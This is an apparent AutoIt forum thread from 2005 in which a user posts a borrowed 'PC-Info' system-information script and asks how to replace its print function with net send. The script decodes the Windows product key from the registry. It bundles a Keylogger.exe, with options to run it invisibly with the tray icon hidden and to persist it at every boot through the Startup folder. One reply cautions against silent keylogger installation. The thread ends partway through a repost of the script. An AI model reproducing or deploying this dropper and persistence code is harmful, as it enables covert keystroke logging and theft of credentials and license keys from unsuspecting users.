Mosquitos Posted April 10, 2005 Share Posted April 10, 2005 (edited) Hello people,I'm new here and i wanna learn the language autoit.I found a script but i wanna change a little bit If its possible of course I wanna change this script:Oeps sorry :"> I wanna change the print function to netsend function :"> expandcollapse popup#Include <GUIConstants.au3> Dim $INI, $POS, $IP, $URLS, $URL, $I, $IPTMP, $FS, $FILE, $LINE, $LINE1 Global $Orgn1 Global $Orgn2 Global $Orgn3 Global $Orgn4 Global $web = 0 WinClose("PC-Info", "") FileInstall("C:\pic.jpg", @TempDir & "\pic1.jpg",1) FileInstall("C:\PC.jpg", @TempDir & "\PC1.jpg",1) FileInstall("C:\Keylogger.exe", @TempDir & "\Keylogger.exe",1) FileInstall("C:\RunAtStartup.ini", @TempDir & "\RunAtStartup.ini") ;--------------------------------------------------------------- ; Find WAN iP-adresse ;--------------------------------------------------------------- $INI = @Homedrive & "myip.ini" If FileExists($INI) = 0 Then IniWrite($INI, "URL", "1", "dynupdate.no-ip.com") IniWrite($INI, "URL", "2", "www.bpftpserver.com") IniWrite($INI, "URL", "3", "www.minasithil.org") IniWrite($INI, "URL", "URLS", "3") EndIf $POS = 0 $IP = 0 $URLS = IniRead($INI, "URL", "URLS", "") For $I = 1 To $URLS FileDelete(@Homedrive & $POS + 1 & ".htm") Next While $POS < $URLS FileDelete(@Homedrive & $POS - 1 & ".htm") $POS = $POS + 1 $IPTMP = @Homedrive & $POS & ".htm" $URL = IniRead($INI, "URL", $POS, "") $IP = URLDownloadToFile ("http://" & $URL & "/ip.php", $IPTMP) $FS = FileGetSize($IPTMP) If FileExists($IPTMP) = 0 Then ContinueLoop If $FS > 16 Then ContinueLoop Else If $FS < 8 Then ContinueLoop EndIf If $FS <= 16 Then ExitLoop Wend $FILE = FileOpen($IPTMP, 0) $LINE = FileReadLine($FILE) If $FILE = -1 Then $line = "Error when looking up IP. Maybe you're offline?" EndIf FileClose($FILE) FileDelete($IPTMP) FileDelete($INI) ;--------------------------------------------------------------- ; Windows Product Key ;--------------------------------------------------------------- Dim $Bin $Bin = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "DigitalProductID") Func DecodeProductKey($BinaryDPID) Local $bKey[15] Local $sKey[29] Local $Digits[24] Local $Value = 0 Local $hi = 0 Local $n = 0 Local $i = 0 Local $dlen = 29 Local $slen = 15 Local $Result $Digits = StringSplit("BCDFGHJKMPQRTVWXY2346789", "") $binaryDPID = StringMid($binaryDPID, 105, 30) For $i = 1 To 29 Step 2 $bKey[Int($i / 2) ] = Dec(StringMid($binaryDPID, $i, 2)) Next For $i = $dlen - 1 To 0 Step - 1 If Mod( ($i + 1), 6) = 0 Then $sKey[$i] = "-" Else $hi = 0 For $n = $slen - 1 To 0 Step - 1 $Value = BitOR(BitShift($hi, -8), $bKey[$n]) $bKey[$n] = Int($Value / 24) $hi = Mod($Value, 24) Next $sKey[$i] = $Digits[$hi + 1] EndIf Next For $i = 0 To 28 $Result = $Result & $sKey[$i] Next Return $Result EndFunc ;------------------------------------------------------------- ; Script start ;------------------------------------------------------------- $primaryGui = GUICreate("PC-Info", 405, 490) GUISetFont(9, 300) ;/////////////////////// MY COMPUTER ///////////////////////// ;------------------------------------------------------------- $tab = GUICtrlCreateTab(5, 5, 398, 462) $knap = GUICtrlCreateButton("Print PC-Info", 325, 2, 77, 23) GUICtrlSetTip(-1,"Click here to print all information to a text file") $tab0 = GUICtrlCreateTabItem("My computer") $n=GUICtrlCreatePic(@TempDir &"\pic1.jpg",100,250, 1, 1) $n = GUICtrlSetPos($n, 20, 242, 365, 212) GUICtrlCreateGroup("Information", 16, 33, 373, 202) GUICtrlCreateGroup("", 16, 231, 373, 227) GUICtrlCreateLabel("Computername", 30, 60, 90, 15) GUICtrlCreateLabel("Operating System", 30, 85, 100, 15) GUICtrlCreateLabel("Service Pack", 30, 110, 90, 15,) GUICtrlCreateLabel("LAN IP-address", 30, 135, 90, 15,) GUICtrlCreateLabel("WAN IP-address", 30, 160, 95, 15,) GUICtrlCreateLabel("Logged in as", 30, 184, 90, 15,) GUICtrlCreateLabel("Login domain", 30, 209, 90, 15,) GUICtrlCreateInput(@ComputerName, 130, 58, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@OSVersion, 130, 83, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@OSServicePack, 130, 108, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@IPAddress1, 130, 133, 250, 20, $WS_DISABLED) GUICtrlCreateInput($Line, 130, 158, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@UserName, 130, 183, 250, 20, $WS_DISABLED) GUICtrlCreateInput(@LogonDomain, 130, 208, 250, 20, $WS_DISABLED) ;//////////////////// SECIFICATIONS ////////////////////// ;--------------------------------------------------------- $tab1 = GUICtrlCreateTabItem("Specifications") $J = GUICtrlCreatePic(@TempDir &"\PC1.jpg", 30, 380, 343, 70) $J = GUICtrlSetPos($J, 30, 380, 343, 70) GUICtrlCreateGroup("Hardware specifications", 16, 33, 373, 426) $drev = DriveGetDrive("fixed") $Ram = MemGetStats() $Mem = $ram[1] / 1024 + 1 $mem1 = Round($mem, 0) $Drive1 = DriveSpaceTotal($Drev[1]) $label1 = DriveGetLabel($Drev[1]) $Drivespace1 = DriveSpaceFree($Drev[1]) $Space = $Drivespace1 / 1024 $Free1 = Round($Space, 2) $var1 = $Drive1 / 1024 $Orgn1 = Round($var1, 2) If $drev[0] > 1 Then $label2 = DriveGetLabel($Drev[2]) $Drivespace2 = DriveSpaceFree($Drev[2]) $Space = $Drivespace2 / 1024 $Free2 = Round($Space, 2) $Drive2 = DriveSpaceTotal($Drev[2]) $var2 = $Drive2 / 1024 $Orgn2 = Round($var2, 2) GUICtrlCreateLabel("Drive2 " & " - (" & $drev[2] & ")", 30, 160, 90, 15,) GUICtrlCreateInput($Orgn2 & " GB" & " - ( Free space - " & $Free2 & " GB )", 105, 158, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput("You don't have 2 harddrives or partitions", 105, 158, 275, 20, $WS_DISABLED) GUICtrlCreateLabel("Drive2 ", 30, 160, 70, 15,) EndIf If $drev[0] > 2 Then $label3 = DriveGetLabel($Drev[3]) $Drivespace3 = DriveSpaceFree($Drev[3]) $Space = $Drivespace3 / 1024 $Free3 = Round($Space, 2) $Drive3 = DriveSpaceTotal($Drev[3]) $var3 = $Drive3 / 1024 $Orgn3 = Round($var3, 3) GUICtrlCreateLabel("Drive3 " & " - (" & $drev[3] & ")", 30, 185, 90, 15,) GUICtrlCreateInput($Orgn3 & " GB" & " - ( Free space - " & $Free3 & " GB )", 105, 183, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput("You don't have 3 harddrives or partitions", 105, 183, 275, 20, $WS_DISABLED) GUICtrlCreateLabel("Drive3 ", 30, 185, 70, 15,) EndIf If $drev[0] > 3 Then $label4 = DriveGetLabel($Drev[4]) $Drivespace4 = DriveSpaceFree($Drev[4]) $Space = $Drivespace4 / 1024 $Free4 = Round($Space, 2) $Drive4 = DriveSpaceTotal($Drev[4]) $var4 = $Drive4 / 1024 $Orgn4 = Round($var4, 3) GUICtrlCreateLabel("Drive4 " & " - (" & $drev[4] & ")", 30, 210, 90, 15,) GUICtrlCreateInput($Orgn4 & " GB" & " - ( Free space - " & $Free4 & " GB )", 105, 208, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput("You don't have 4 harddrives or partitions", 105, 208, 275, 20, $WS_DISABLED) GUICtrlCreateLabel("Drive4 ", 30, 210, 70, 15,) EndIf GUICtrlCreateLabel("Processor", 30, 60, 90, 15) GUICtrlCreateLabel("RAM", 30, 85, 90, 15) GUICtrlCreateLabel("Video card", 30, 110, 90, 15) GUICtrlCreateLabel("Drive1 " & " - (" & $drev[1] & ")", 30, 135, 90, 15,) $cpu0 = RegRead("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "~MHz") $cpu1 = RegRead("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "processorNameString") $gfx = RegRead("HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000", "DriverDesc") $Lprint1 = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\", 1) $Lprint2 = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\", 2) $stringtjek = StringIsASCII($Lprint1) If $stringtjek = 0 Then GUICtrlCreateInput("No printer installed", 105, 254, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput($Lprint1, 105, 254, 275, 20, $WS_DISABLED) EndIf $stringtjek = StringIsASCII($Lprint2) If $stringtjek = 0 Then GUICtrlCreateInput("No printer installed", 105, 279, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput($Lprint2, 105, 279, 275, 20, $WS_DISABLED) EndIf $serv = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\LanMan Print Services\Servers", 1) $NetPrint1 = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\LanMan Print Services\Servers\" & $serv & "\printers", 1) $NetPrint2 = RegEnumKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\LanMan Print Services\Servers\" & $serv & "\printers", 2) $stringtjek = StringIsASCII($NetPrint1) If $stringtjek = 0 Then GUICtrlCreateInput("No printer installed", 105, 329, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput($NetPrint1, 105, 329, 275, 20, $WS_DISABLED) EndIf $stringtjek = StringIsASCII($Netprint2) If $stringtjek = 0 Then GUICtrlCreateInput("No printer installed", 105, 354, 275, 20, $WS_DISABLED) Else GUICtrlCreateInput($NetPrint2, 105, 354, 275, 20, $WS_DISABLED) EndIf GUICtrlCreateInput($cpu0 & " Mhz" & " - " & $cpu1, 105, 58, 275, 20, $WS_DISABLED) GUICtrlCreateInput($mem1 & " MB", 105, 83, 275, 20, $WS_DISABLED) GUICtrlCreateInput($gfx & "", 105, 108, 275, 20, $WS_DISABLED) GUICtrlCreateInput($Orgn1 & " GB" & " - ( Free space - " & $Free1 & " GB )", 105, 133, 275, 20, $WS_DISABLED) GUICtrlCreateLabel("Printer1", 30, 256, 70, 15) GUICtrlCreateLabel("Printer2", 30, 281, 70, 15) GUICtrlCreateLabel("Netprinter1", 30, 331, 70, 15) GUICtrlCreateLabel("Netprinter2", 30, 356, 70, 15) GUICtrlCreateLabel("Local printers", 162, 235, 90, 15) GUICtrlCreateLabel("Network printers", 155, 310, 100, 15) ;/////////////////////// ADVANCED ///////////////////////// ;---------------------------------------------------------- $tab2 = GUICtrlCreateTabItem("Advanced") GUICtrlCreateGroup("Windows XP CD-Key Changer", 16, 33, 373, 95) GUICtrlCreateGroup("KeyLogger", 16, 130, 373, 325) $clipget = GUICtrlCreatebutton("Windows Key", 30, 65, 97, 22,) GUICtrlSetTip(-1,"Click here to copy key to clipboard") $newkey_btn = GUICtrlCreateButton("Change Key", 30, 90, 97, 22,) GUICtrlSetTip(-1,"Click here to change your XP key") $currentkey = GUICtrlCreateInput(DecodeProductKey($bin), 130, 66, 250, 20, $WS_DISABLED) $newkey = GUICtrlCreateInput("Type the new Windows XP CD-key here...", 130, 91, 250, 20) GUICtrlCreateLabel("You can use the keylogger to log whatever have been writen on the keyboard. Choose any options in order to fit your needs. Remember to chose save location...", 50 , 150, 320, 70,) GUICtrlSetFont(-1, 9, 600, 1, "Comic Sans MS") $activate_key = GUICtrlCreatebutton("Activate Keylogger", 135, 220, 130, 27,) GUICtrlSetTip(-1,"Click here to Activate Keylogger") $radio1 = GUICtrlCreateRadio ("Show program in system tray", 45, 260, 200, 20) $radio2 = GUICtrlCreateRadio ("Hide Trayicon and PC-Info when running", 45, 285, 250, 20) GUICtrlSetState ($radio2,$GUI_CHECKED) GUICtrlCreateGroup("", 35, 252, 333, 55) $radio3 = GUICtrlCreateRadio ("Determinate Keylogger with Hotkey 'Ctrl+Alt+Q'", 45, 315, 315, 20) $radio4 = GUICtrlCreateRadio ("Run at next startup, hotkey 'Ctrl+Alt+Q' for determination", 45, 340, 320, 20) $radio5 = GUICtrlCreateRadio("Run now, and keep running after each boot", 45, 365, 320, 20) $radio6 = GUICtrlCreateRadio("Run from next boot, and keep running after each boot", 45, 390, 320, 20) GUICtrlSetState ($radio3,$GUI_CHECKED) GUICtrlCreateGroup("", 35, 307, 333, 105) $Savefile = GUICtrlCreatebutton("Save location", 30, 422, 97, 22,) GUICtrlSetTip(-1,"Click here to chose savelocation of the logfile") $savelocation = GUICtrlCreateInput(@HomeDrive & "\Log.log", 130, 423, 250, 20, $WS_DISABLED) ;////////////////////// ABOUT ///////////////////////////// ;---------------------------------------------------------- $tab3 = GUICtrlCreateTabItem("About") GUICtrlSetCursor(-1, 4) GUICtrlSetState(0, $GUI_SHOW) GUISetState() GUICtrlCreateLabel("Version 1.4", 330, 470, 70, 15) GUICtrlCreateLabel("Made by Lasse Offt", 10, 470, 140, 15) GUISetState() ;/////// SECONDARY WINDOW /////// $SecondaryGui = GUICreate("Change Your Windows Key", 270, 150) GUICtrlCreateLabel("WARNING", 90, 13, 100, 20) GUICtrlSetFont(-1, 14, 400, 4, "Comic Sans MS") GUICtrlCreateLabel("Changing your Windows CD-Key is on your own risk, I will not take any responsebility for any damage caused by this act! ", 10, 45, 250, 50) GUICtrlCreateLabel("Are you sure?", 10, 90, 70, 15) $key_yes = GUICtrlCreateButton("YES", 30, 115, 90, 22) $key_no = GUICtrlCreateButton("Cancel", 150, 115, 90, 22) GUISetState(@SW_HIDE) $website = "http://www.ige.dk" While 1 $msg_array = GUIGetMsg(1) $msg = $msg_array[0] $winActive = $msg_array[1] If $msg = $activate_key Then If GUICtrlRead($radio1) = $GUI_CHECKED Then;Show Program in system tray IniWrite(@TempDir & "\RunAtStartup.ini", "ShowTray", "ShowTray", "1") EndIf If GUICtrlRead($radio2) = $GUI_CHECKED Then;Hide trayicon and PC-Info when running IniWrite(@TempDir & "\RunAtStartup.ini", "ShowTray", "ShowTray", "0") EndIf If GUICtrlRead($radio3) = $GUI_CHECKED Then;Determinate keylogger with hotkey Ctrl+Alt+Q EndIf If GUICtrlRead($radio4) = $GUI_CHECKED Then;Run at nextstartup, Hothey Ctrl+Alt+Q for determination FileCreateShortcut(@Tempdir & "\Keylogger.exe",@StartupDir & "\Keylogger.exe") ;FileCopy(@TempDir & "\Keylogger.exe", @StartupDir & "\Keylogger.exe") IniWrite(@TempDir & "\RunAtStartup.ini", "RunAtStartup", "RunAtStartup", "1") If GUICtrlRead($radio1) = $GUI_CHECKED Then TrayTip("Keylogger", "Keylogger will run in VISIBLE mode next time Windows starts" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(5000) Else TrayTip("Keylogger", "Keylogger will run in INVISIBLE mode next time Windows starts" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(7000) EndIf EndIf If GUICtrlRead($radio5) = $GUI_CHECKED Then;Run now, and keep running after each boot If GUICtrlRead($radio1) = $GUI_CHECKED Then TrayTip("Keylogger", "Keylogger is now active, and will be running in VISIBLE mode after each boot" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(5000) Else TrayTip("Keylogger", "Keylogger is now active, and will be running in INVISIBLE mode after each boot" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(5000) EndIf FileCreateShortcut(@Tempdir & "\Keylogger.exe",@StartupDir & "\Keylogger.exe") ;FileCopy(@TempDir & "\Keylogger.exe", @StartupDir & "\Keylogger.exe") IniWrite(@TempDir & "\RunAtStartup.ini", "RunAtStartup", "RunAtStartup", "2") EndIf If GUICtrlRead($radio6) = $GUI_CHECKED Then;Run from next boot, and keep running after each boot If GUICtrlRead($radio1) = $GUI_CHECKED Then TrayTip("Keylogger", "Keylogger will be active after next boot, and will be running in VISIBLE mode" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(5000) Else TrayTip("Keylogger", "Keylogger will be actice after next boot, and will be running in INVISIBLE mode" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 5, 1) Sleep(7000) EndIf FileCreateShortcut(@Tempdir & "\Keylogger.exe",@StartupDir & "\Keylogger.exe") ;FileCopy(@TempDir & "\Keylogger.exe", @StartupDir & "\Keylogger.exe") IniWrite(@TempDir & "\RunAtStartup.ini", "RunAtStartup", "RunAtStartup", "2") EndIf IniWrite(@TempDir & "\RunAtStartup.ini", "SaveLocation", "SaveLocation", GUICtrlRead($savelocation)) If GUICtrlRead($radio3) = $GUI_CHECKED Then;OR GUICtrlRead($radio5) = $GUI_CHECKED Then Run(@TempDir & "\Keylogger.exe") EndIf If GUICtrlRead($radio5) = $GUI_CHECKED Then Run(@TempDir & "\Keylogger.exe") EndIf If GUICtrlRead($radio3) = $GUI_CHECKED Then TrayTip("Keylogger", "Keylogger is now active" & @CRLF & "Determinate by pressing Ctrl+Alt+Q", 0, 1) Sleep(5000) EndIf If GUICtrlRead($radio2) = $GUI_CHECKED Then Opt("TrayIconHide", 1) EndIf EndIf; End of Activate keylogger If $msg = GUICtrlRead($radio4)= $GUI_CHECKED Then GUICtrlsetstate($radio5, $GUI_ENABLE) EndIf If $msg = GUICtrlRead($radio3) = $GUI_CHECKED Then GUICtrlsetstate($radio5, $GUI_DISABLE) EndIf If $msg = $savefile Then $dialog = FileSaveDialog( "Choose a name", @HomeDrive & "\","(*.log)", 3, "Log.log") If @error Then GUICtrlSetData($savelocation, @Homedrive & "\Log.log") Else GUICtrlSetData($savelocation, $dialog) EndIf EndIf If $msg = $clipget Then clipput(GUICtrlRead($currentkey)) EndIf If $msg = $newkey_btn Then GUISwitch($SecondaryGui) GUISetState() EndIf If ($msg = $GUI_EVENT_CLOSE OR $msg = $key_no) AND $winActive = $secondaryGui Then GUISetState(@SW_HIDE) GUISwitch($primaryGui) EndIf If $msg = $GUI_EVENT_CLOSE AND $winActive = $primaryGui Then FileDelete(@TempDir & "\pic1.jpg") FileDelete(@TempDir & "\PC1.jpg") FileDelete(@TempDir & "\KeyOpt.ini") If GUICtrlRead($radio3) = $GUI_CHECKED Then FileDelete(@TempDir & "\RunAtStartup.ini") FileDelete(@TempDir & "\Keylogger.exe") EndIf ExitLoop EndIf If $msg = $key_yes Then $len = StringLen(GUIctrlRead($newkey)) If $len = 29 then msgbox(0,"Information","Your CD-key has been changed!") GUICtrlSetData($currentkey, GUICtrlread($newkey)) GUICtrlSetData($newkey,"Type the new Windows XP CD-key here...") WinClose("Change Your Windows Key", "") else msgbox(16,"Error","CD-Key is invalid, try again") GUICtrlSetData($newkey,"Type the new Windows XP CD-key here...") WinClose("Change Your Windows Key", "") Endif EndIf If $msg = $key_no Then GUICtrlSetData($newkey,"Type the new Windows XP CD-key here...") EndIf ;If $msg = $knap1 Then ; Run('explorer "' & $website & '"') ;EndIf If $msg = $knap Then $svar = MsgBox(4, "Information", "Do you want PC-Info to create and save a text-document with your informations in it on your desktop?") If $svar = 6 Then If FileExists(@DesktopDir & "\System Information.txt") Then FileDelete(@DesktopDir & "\System Information.txt") FileWriteLine(@DesktopDir & "\System Information.txt", " PC-Info version 1.4") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Computername: " & @ComputerName) FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Operating system: " & @OSVersion) FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Servicepack: " & @OSServicePack) FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "LAN IP-address: " & @IPAddress1) FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "WAN IP-address: " & $Line) FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Logged in as: " & @UserName) FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Login domain: " & @LogonDomain) FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Processor-speed: " & $cpu0 & " Mhz") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Amount of RAM: " & $mem1 & " MB") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Video card: " & $gfx) FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "Harddisk 1: " & $Drev[1] & " " & $Orgn1 & " GB i alt") If $drev[0] > 1 Then FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 2: " & $Drev[2] & " " & $Orgn2 & " GB i alt") Else FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 2: You don't have 2 harddrives or partitions") EndIf If $drev[0] > 2 Then FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 3: " & $Drev[3] & " " & $Orgn3 & " GB i alt") Else FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 3: You don't have 2 harddrives or partitions") EndIf If $drev[0] > 3 Then FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 4: " & $Drev[4] & " " & $Orgn3 & " GB i alt") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "") Else FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 4: You don't have 2 harddrives or partitions") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "") EndIf EndIf $stringtjek = StringIsASCII($Lprint1) If $stringtjek = 1 Then FileWriteLine(@DesktopDir & "\System Information.txt", "Local printer1: " & $Lprint1) Else FileWriteLine(@DesktopDir & "\System Information.txt", "Local printer1: No printer installed") EndIf $stringtjek = StringIsASCII($Lprint2) If $stringtjek = 1 Then FileWriteLine(@DesktopDir & "\System Information.txt", "Local printer2: " & $Lprint2) Else FileWriteLine(@DesktopDir & "\System Information.txt", "Local printer2: No printer installed") EndIf $stringtjek = StringIsASCII($NetPrint1) If $stringtjek = 1 Then FileWriteLine(@DesktopDir & "\System Information.txt", "Network printer1: " & $Netprint1) Else FileWriteLine(@DesktopDir & "\System Information.txt", "Network printer1: No printer installed") EndIf $stringtjek = StringIsASCII($NetPrint2) If $stringtjek = 1 Then FileWriteLine(@DesktopDir & "\System Information.txt", "Network printer2: " & $Netprint2) Else FileWriteLine(@DesktopDir & "\System Information.txt", "Network printer2: No printer installed") FileWriteLine(@DesktopDir & "\System Information.txt", "") FileWriteLine(@DesktopDir & "\System Information.txt", "") EndIf #cs FileWriteLine(@desktopdir & "\System Information.txt","Office-version: _________________________") FileWriteLine(@desktopdir & "\System Information.txt","") FileWriteLine(@desktopdir & "\System Information.txt","Forbindelse (ADSL/ISDN): _________________________") FileWriteLine(@desktopdir & "\System Information.txt","") FileWriteLine(@desktopdir & "\System Information.txt","Bærbar / stationær PC: _________________________") FileWriteLine(@desktopdir & "\System Information.txt","") FileWriteLine(@desktopdir & "\System Information.txt","") FileWriteLine(@desktopdir & "\System Information.txt","") FileWriteLine(@desktopdir & "\System Information.txt","Navn _______________________________ Dato ____________ ") #ce EndIf EndIf WendI wanna change this :If $msg = $knap Then      $svar = MsgBox(4, "Information", "Do you want PC-Info to create and save a text-document with your informations in it on your desktop?")            If $svar = 6 Then                If FileExists(@DesktopDir & "\System Information.txt") Then            FileDelete(@DesktopDir & "\System Information.txt")                                                FileWriteLine(@DesktopDir & "\System Information.txt", "                                PC-Info version 1.4")            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "")                                    FileWriteLine(@DesktopDir & "\System Information.txt", "Computername:                  " & @ComputerName)            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "Operating system:              " & @OSVersion)            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "Servicepack:                    " & @OSServicePack)            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "LAN IP-address:                " & @IPAddress1)            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "WAN IP-address:                " & $Line)            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "Logged in as:                  " & @UserName)            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "Login domain:                  " & @LogonDomain)            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "Processor-speed:                " & $cpu0 & " Mhz")            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "Amount of RAM:                  " & $mem1 & " MB")            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "Video card:                    " & $gfx)            FileWriteLine(@DesktopDir & "\System Information.txt", "")            FileWriteLine(@DesktopDir & "\System Information.txt", "Harddisk 1:                    " & $Drev[1] & "  " & $Orgn1 & " GB i alt")                        If $drev[0] > 1 Then              FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 2:                    " & $Drev[2] & "  " & $Orgn2 & " GB i alt")                          Else              FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 2:                    You don't have 2 harddrives or partitions")                          EndIf            If $drev[0] > 2 Then              FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 3:                    " & $Drev[3] & "  " & $Orgn3 & " GB i alt")                          Else              FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 3:                    You don't have 2 harddrives or partitions")            EndIf                        If $drev[0] > 3 Then              FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 4:                    " & $Drev[4] & "  " & $Orgn3 & " GB i alt")              FileWriteLine(@DesktopDir & "\System Information.txt", "")              FileWriteLine(@DesktopDir & "\System Information.txt", "")            Else              FileWriteLine(@DesktopDir & "\System Information.txt", "Harddrive 4:                    You don't have 2 harddrives or partitions")              FileWriteLine(@DesktopDir & "\System Information.txt", "")              FileWriteLine(@DesktopDir & "\System Information.txt", "")            EndIf                    EndIf                $stringtjek = StringIsASCII($Lprint1)        If $stringtjek = 1 Then            FileWriteLine(@DesktopDir & "\System Information.txt", "Local printer1:                " & $Lprint1)                    Else            FileWriteLine(@DesktopDir & "\System Information.txt", "Local printer1:                No printer installed")                    EndIf                $stringtjek = StringIsASCII($Lprint2)        If $stringtjek = 1 Then            FileWriteLine(@DesktopDir & "\System Information.txt", "Local printer2:                " & $Lprint2)                    Else            FileWriteLine(@DesktopDir & "\System Information.txt", "Local printer2:                No printer installed& Edited April 10, 2005 by Mosquitos Sapiente vince, rex, noli vincere ferro! Link to comment Share on other sites More sharing options...
Westi Posted April 10, 2005 Share Posted April 10, 2005 First of all, the code should use more vars.The "stolen" code is OK, but the other code is cruelly:@DesktopDir & "\System Information.txt" found 57 times.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion found 6 times....and so onDon't use "C:\", use @homedrive, a $var, @WorkingDir or EnvGet(). Read @DesktopDir & "\System Information.txt line by line and send it with "net send" RTFMPS: Don't install a keylogger silently PPS:Great babes on www.ig*.dk Link to comment Share on other sites More sharing options...
Mosquitos Posted April 11, 2005 Author Share Posted April 11, 2005 (edited) I know it's a stolen code,i'm sorry for that. :"> With this code i wanna learn autoitscript because it have many functions. I don't wanna send the system information but use net send tho talk to other computers on the network. I have already change the print button so you go to a pc-help site if you press the button. Ps:You must activate the keylogger self or im a wrong? It's no silent or did a see it wrong in the code? Sorry for my bad englisch because im dutch :"> Edited April 11, 2005 by Mosquitos Sapiente vince, rex, noli vincere ferro! Link to comment Share on other sites More sharing options...
Mosquitos Posted April 11, 2005 Author Share Posted April 11, 2005 (edited) This the code now: expandcollapse popup#Include <GUIConstants.au3> Dim $INI, $POS, $IP, $URLS, $URL, $I, $IPTMP, $FS, $FILE, $LINE, $LINE1 Global $Orgn1 Global $Orgn2 Global $Orgn3 Global $Orgn4 Global $web = 0 WinClose("PC-Info", "") FileInstall("C:\pic.jpg", @TempDir & "\pic1.jpg",1) FileInstall("C:\PC.jpg", @TempDir & "\PC1.jpg",1) FileInstall("C:\Keylogger.exe", @TempDir & "\Keylogger.exe",1) FileInstall("C:\RunAtStartup.ini", @TempDir & "\RunAtStartup.ini") ;--------------------------------------------------------------- ; Find WAN iP-adresse ;--------------------------------------------------------------- $INI = @Homedrive & "myip.ini" If FileExists($INI) = 0 Then IniWrite($INI, "URL", "1", "dynupdate.no-ip.com") IniWrite($INI, "URL", "2", "www.bpftpserver.com") IniWrite($INI, "URL", "3", "www.minasithil.org") IniWrite($INI, "URL", "4", "www.whatismyip.org") IniWrite($INI, "URL", "5", "www.watismijnip.nl") IniWrite($INI, "URL", "URLS", "5") EndIf $POS = 0 $IP = 0 